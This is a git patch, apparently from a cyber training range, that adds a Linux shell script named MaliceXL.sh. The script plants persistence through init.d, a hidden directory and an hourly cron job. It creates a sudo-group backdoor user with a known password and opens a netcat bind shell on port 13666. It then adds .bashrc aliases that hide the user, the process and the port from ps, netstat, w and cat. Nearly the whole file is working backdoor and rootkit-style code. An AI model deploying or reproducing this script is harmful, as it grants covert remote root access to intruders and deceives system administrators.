From 43632547646d6347117cec965fa64e74183bff6c Mon Sep 17 00:00:00 2001 From: Brandee Lymoncollins <brandee.k.lymoncollins67@account.cybbh.space> Date: Tue, 3 Sep 2024 07:19:30 -0400 Subject: [PATCH] Upload New File --- heat/Non_Standard_Repo/MaliceXL.sh | 80 ++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 heat/Non_Standard_Repo/MaliceXL.sh diff --git a/heat/Non_Standard_Repo/MaliceXL.sh b/heat/Non_Standard_Repo/MaliceXL.sh new file mode 100644 index 0000000..1a64df2 --- /dev/null +++ b/heat/Non_Standard_Repo/MaliceXL.sh @@ -0,0 +1,80 @@ +#!/bin/bash + +if [ $(/bin/ls -latr /etc/init.d/ | grep malice | wc -l ) = 0 ]; then + echo "Not a morning person?" + sudo cp /.malice/malice.sh /etc/init.d/.malice + sudo chmod 755 /etc/init.d/.malice + echo "Rise and shine!" + echo "Wake up with a hot cup of coffee and a little bit of..." + /bin/ls -latr /etc/init.d/ | grep malice +else + echo "Mmm... that's a nice cup of malice" + +if [ $(/bin/ls -latr / | grep malice | wc -l ) = 0 ]; then + echo "Poor homeless Alice" + sudo mkdir /.malice + echo "Come on in" + sudo cp /etc/init.d/.malice /.malice/malice.sh + sudo chmod 755 /.malice/malice.sh + echo "Make yourself at home" + /bin/ls -latr /.malice | grep malice +else + echo "Home, sweet home" + +if [ $(/bin/ls -latr /etc/cron.hourly/ | grep malice | wc -l ) = 0 ]; then + echo "What time is it?" + sudo echo "#!/bin/bash" > /etc/cron.hourly/.malice.cron + sudo echo "/.malice/malice.sh" > /etc/cron.hourly/.malice.cron + sudo chmod 755 /etc/cron.hourly/.malice.cron + echo "It's time for some..." + /bin/ls -latr /etc/cron.hourly/ | grep malice +else + echo "Right on schedule" + + +if [ $(/bin/cat /etc/passwd | grep m.alice | wc -l ) = 0 ]; then + echo "Alice doesn't live here anymore" + sudo useradd -g sudo -s /bin/bash -d /.malice -p $(echo malice | openssl passwd -1 -stdin) m.alice + echo "Knock knock!" + echo "Who's there?" + /bin/cat /etc/passwd | grep m.alice +else + echo "Alice is already here" +fi + + +if [ $(sudo /bin/cat /root/.bashrc | grep Alice | wc -l) = 0 ]; then + echo "root put Alice in a corner" + tail -n 10 /.malice/malice > /.malice/alias + sudo /bin/cat /.malice/alias >> /root/.bashrc + for file in $(ls -d /home/useraccounts/*/.bashrc); do sudo /bin/cat /.malice/alias >> "$file" ; done + echo "Nobody puts Alice in a corner" +else + sudo /bin/cat /root/.bashrc | grep Alice +fi + + +if [ $(which netcat) = 0 ]; then + echo "Here kitty kitty kitty" + sudo apt-get install -y netcat +else + echo "Good kitty." +fi + + +if [ $(sudo /bin/netstat -auntp | grep "13666" | wc -l) = 0 ]; then + echo "Letting the cat in" + sudo /bin/netcat -knlvp 13666 -e /bin/bash & +else + echo "Hello kitty" +fi + + + + +#Malicious Alice back at it again with the white Vans +alias malice="echo 'Malicious Alice is in your house, eating your chips'" +alias ps='f(){ ps "$@" | grep -v netcat | grep -v m.alice ; unset -f f; }; f' +alias netstat='f(){ netstat "$@" | grep -v 13666 ; unset -f f; }; f' +alias w='f(){ w "$@" | grep -v m.alice ; unset -f f; }; f' +alias cat='f(){ cat "$@" | grep -v m.alice ; unset -f f; }; f' -- GitLab